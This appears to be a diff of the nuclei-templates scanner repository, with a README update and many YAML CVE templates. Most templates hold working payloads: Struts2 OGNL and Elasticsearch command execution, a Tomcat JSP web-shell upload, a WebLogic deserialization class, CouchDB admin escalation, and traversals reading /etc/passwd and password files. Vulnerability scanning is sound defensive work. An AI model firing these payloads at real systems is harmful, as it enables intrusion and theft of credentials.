-    ├── vbulletin-workflow.yaml
-    └── wordpress-workflow.yaml
-```
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | 252           | vulnerabilities | 116 | exposed-panels | 108 |
+| takeovers        | 65        | exposures       | 63       | technologies   | 51   |
+| misconfiguration | 54 | workflows       | 24         | miscellaneous  | 16  |
+| default-logins   | 20 | exposed-tokens  | 9  | dns            | 8            |
+| fuzzing          | 4          | helpers         | 2         | iot            | 7            |

-</details>
+**78 directories, 824 files**.

-**16 directories, 408 files**.
+</td>
+</tr>
+</table>

-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+

 Thanks again for your contribution and keeping the community vibrant. :heart:
@@ -1,8 +1,9 @@
-id: cve-2005-2428
+id: CVE-2005-2428
 info:
  name: CVE-2005-2428
  author: CasperGN
  severity: medium
+  tags: cve,cve2005

 requests:
  - method: GET
@@ -0,0 +1,29 @@
+id: CVE-2007-4556
+
+info:
+  name: Apache Struts2 S2-001 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://www.guildhab.top/?p=2326
+  tags: cve,cve2007,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,16 +1,15 @@
-id: cve-2008-2398
+id: CVE-2008-2398

 info:
  name: AppServ Open Project 2.5.10 and earlier XSS
  author: unstabl3
  severity: medium
+  tags: cve,cve2008,xss

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/index.php?appservlang=en%22><svg/onload=alert(1)>"
-      - "{{BaseURL}}:8181/index.php?appservlang=en%22><svg/onload=alert(1)>"
-      - "{{BaseURL}}:8081/index.php?appservlang=en%22><svg/onload=alert(1)>"
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"

    matchers-condition: and
    matchers:
@@ -19,7 +18,7 @@ requests:
          - 200
      - type: word
        words:
-          - "<svg/onload=alert(1)>"
+          - "<svg/onload=confirm('xss')>"
        part: body

      - type: word
@@ -0,0 +1,23 @@
+id: CVE-2008-2650
+info:
+  name: CMSimple 3.1 - Local File Inclusion
+  author: pussycat0x
+  severity: high
+  reference: https://www.exploit-db.com/exploits/5700
+  tags: cve,cve2008,lfi
+requests:
+  - raw:
+      - |
+        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,27 @@
+id: CVE-2010-2861
+
+info:
+  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
+  author: pikpikcu
+  severity: high
+  reference: https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+  tags: cve,cve2010,coldfusion,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "rdspassword="
+          - "encrypted="
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: CVE-2012-0392
+
+info:
+  name: Apache Struts2 S2-008 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
+  tags: cve,cve2012,apache,rce,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: CVE-2013-1965
+
+info:
+  name: Apache Struts2 S2-012 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2013-1965
+  tags: cve,cve2013,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/user.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -1,10 +1,11 @@
-id: cve-2013-2251
+id: CVE-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
  author: exploitation & @dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  tags: cve,cve2013,rce,struts,apache

 requests:
  - payloads:
@@ -0,0 +1,53 @@
+id: CVE-2014-3120
+
+info:
+  name: ElasticSearch v1.1.1/1.2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+  tags: cve,cve2014,elastic,rce
+
+requests:
+  - raw:
+      - |
+        POST /_search?pretty HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+            "size": 1,
+            "query": {
+              "filtered": {
+                "query": {
+                  "match_all": {
+                  }
+                }
+              }
+            },
+            "script_fields": {
+                "command": {
+                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
+                }
+            }
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -5,11 +5,12 @@ info:
  author: pentest_swissky
  severity: high
  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  tags: cve,cve2014,rce

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/cgi-bin/status"
      - "{{BaseURL}}/cgi-bin/stats"
      - "{{BaseURL}}/cgi-bin/test"
@@ -0,0 +1,51 @@
+id: CVE-2015-1427
+
+info:
+  name: ElasticSearch 1.4.0/1.4.2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://blog.csdn.net/JiangBuLiu/article/details/94457980
+  tags: cve,cve2015,elastic,rce
+
+requests:
+  - raw:
+      - |
+        POST /website/blog/ HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+          "name": "test"
+        }
+      - |
+        POST /_search HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: CVE-2015-2080
+
+info:
+  name: Eclipse Jetty Remote Leakage
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2015-2080
+  description: |
+       The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/"
+    headers:
+      Referer: \x00
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 400
+      - type: word
+        words:
+          - "Illegal character 0x0 in state"
+        part: body
@@ -0,0 +1,28 @@
+id: CVE-2015-3306
+
+info:
+  name: ProFTPd RCE
+  author: pd-team
+  severity: high
+  reference: https://github.com/t0kx/exploit-CVE-2015-3306
+  description: The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
+  tags: cve,cve2015,ftp,rce,network
+
+network:
+  - inputs:
+      - data: "site cpfr /proc/self/cmdline\r\n"
+        read: 1024
+      - data: "site cpto /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpfr /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpto /var/www/html/{{randstr}}\r\n"
+    host:
+      - "{{Hostname}}:21"
+
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Copy successful"
+        part: raw
@@ -0,0 +1,26 @@
+id: CVE-2015-5688
+
+info:
+ name: Geddy before v13.0.8 LFI
+ author: pikpikcu
+ severity: high
+ issues: https://github.com/geddy/geddy/issues/697
+ description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
+ reference: https://nodesecurity.io/advisories/geddy-directory-traversal
+ tags: cve,cve2015,geddy,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200
@@ -0,0 +1,24 @@
+id: CVE-2016-3081
+
+info:
+  name: Apache S2-032 Struts RCE
+  author: dhiyaneshDK
+  severity: high
+  reference: https://cwiki.apache.org/confluence/display/WW/S2-032
+  tags: cve,cve2016,struts,rce,apache
+
+requests:
+  - raw:
+      - |
+        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 4
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,24 @@
+id: CVE-2016-7552
+
+info:
+  name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
+  author: dwisiswant0
+  severity: critical
+  reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
+  tags: cve,cve2016,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/logoff.cgi"
+    headers:
+      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Memory map"
+        part: body
@@ -0,0 +1,23 @@
+id: CVE-2017-1000028
+
+info:
+ name: GlassFish LFI
+ author: pikpikcu
+ severity: high
+ reference: https://www.exploit-db.com/exploits/45196
+ tags: cve,cve2017,oracle,glassfish,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+   matchers-condition: and
+   matchers:
+    - type: word
+      words:
+       - "/sbin/nologin"
+      part: body
+
+    - type: status
+      status:
+       - 200
@@ -1,10 +1,11 @@
-id: cve-2017-10075
+id: CVE-2017-10075

 info:
  name: Oracle Content Server XSS
  author: madrobot
  severity: medium
  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  tags: cve,cve2017,xss,oracle

 requests:
  - method: GET
@@ -0,0 +1,67 @@
+id: CVE-2017-10271
+
+info:
+  name: CVE-2017-10271
+  author: dr_set
+  severity: high
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  reference: https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
+  tags: cve,cve2017,rce,oracle,weblogic
+
+  # Source:- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
+
+requests:
+  - raw:
+      - |
+          POST /wls-wsat/CoordinatorPortType HTTP/1.1
+          Host: {{Hostname}}
+          Accept: */*
+          Accept-Language: en
+          User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+          Connection: close
+          Content-Type: text/xml
+          Content-Length: 5178
+
+          <?xml version="1.0" encoding="utf-8"?>
+          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+              <soapenv:Header>
+                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java>
+                          <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
+                              <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
+                          </void>
+                          <void class="org.mozilla.classfile.DefiningClassLoader">
+                              <void method="defineClass">
+                                  <string>com.supeream.exploits.XmlExp</string>
+                                  <object idref="cls"></object>
+                                  <void method="newInstance">
+                                      <void method="say" id="proc">
+                                          <string>cat /etc/passwd</string>
+                                      </void>
+                                  </void>
+                              </void>
+                          </void>
+                          <void class="java.lang.Thread" method="currentThread">
+                              <void method="getCurrentWork">
+                                  <void method="getResponse">
+                                      <void method="getServletOutputStream">
+                                          <void method="writeStream">
+                                              <object idref="proc"></object>
+                                          </void>
+                                          <void method="flush"/>
+                                      </void>
+                                      <void method="getWriter"><void method="write"><string></string></void></void>
+                                  </void>
+                              </void>
+                          </void>
+                      </java>
+                  </work:WorkContext>
+              </soapenv:Header>
+              <soapenv:Body/>
+          </soapenv:Envelope>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -1,10 +1,11 @@
-id: cve-2017-11444
+id: CVE-2017-11444

 info:
  name: Subrion CMS SQL Injection
  author: dwisiswant0
  severity: high
  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+  tags: cve,cve2017,sqli,subrion

  # Source:
  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
@@ -0,0 +1,24 @@
+id: CVE-2017-12611
+
+info:
+  name: Apache Struts2 S2-053 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-12611
+  tags: cve,cve2017,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,50 @@
+id: CVE-2017-12615
+
+info:
+  name: Apache Tomcat RCE
+  author: pikpikcu
+  severity: critical
+  tags: cve,cve2017,apache,rce
+  reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
+  description: |
+        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
+        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
+        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
+        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/poc.jsp/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        <%@ page import="java.util.*,java.io.*"%>
+        <%
+        if (request.getParameter("cmd") != null) {
+                out.println("Command: " + request.getParameter("cmd") + "<BR>");
+                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+                OutputStream os = p.getOutputStream();
+                InputStream in = p.getInputStream();
+                DataInputStream dis = new DataInputStream(in);
+                String disr = dis.readLine();
+                while ( disr != null ) {
+                        out.println(disr);
+                        disr = dis.readLine();
+                        }
+                }
+        %>
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,47 @@
+id: CVE-2017-12635
+
+info:
+  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 RPE
+  author: pikpikcu
+  severity: high
+  reference: https://github.com/assalielmehdi/CVE-2017-12635
+  tags: cve,cve2017,couchdb,rpe
+
+requests:
+  - raw:
+      - |
+        PUT /_users/org.couchdb.user:poc HTTP/1.1
+        Host:  {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: application/json
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 108
+
+        {
+          "type": "user",
+          "name": "poc",
+          "roles": ["_admin"],
+          "roles": [],
+          "password": "123456"
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+          - "Location:"
+        part: header
+
+      - type: word
+        words:
+          - "org.couchdb.user:poc"
+          - "conflict"
+          - "Document update conflict"
+        part: body
+
+      - type: status
+        status:
+          - 201
+          - 409
@@ -1,15 +1,15 @@
-id: cve-2017-12637
+id: CVE-2017-12637

 info:
  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
  author: apt-mirror
  severity: high
  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
-
-  # References:
-  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
-  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
-  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+  tags: cve,cve2017,sap,lfi
+  reference: |
+      - https://www.cvedetails.com/cve/CVE-2017-12637/
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+      - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf

 requests:
  - method: GET
@@ -1,13 +1,14 @@
-id: cve-2017-14537
+id: CVE-2017-14537

 info:
  name: trixbox 2.8.0 - directory-traversal
  author: pikpikcu
  severity: medium
-
-# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
-# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
-# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+  tags: cve,cve2017,trixbox,lfi
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+      - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+      - Product vendor:-https://sourceforge.net/projects/asteriskathome/

 requests:
  - raw:
@@ -1,10 +1,11 @@
-id: cve-2017-14849
+id: CVE-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
  author: Random-Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+  tags: cve,cve2017,nodejs,lfi

 requests:
  - method: GET
@@ -0,0 +1,26 @@
+id: CVE-2017-16877
+
+info:
+  name: Nextjs v2.4.1 LFI
+  author: pikpikcu
+  severity: high
+  reference: https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
+  tags: cve,cve2017,nextjs,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: CVE-2017-3881
+
+info:
+  name: Cisco IOS 12.2(55)SE11 Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  reference: |
+    - https://github.com/artkond/cisco-rce
+    - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
+    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
+  description: RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent.
+  tags: cve,cve2017,cisco,rce,network
+
+network:
+  - inputs:
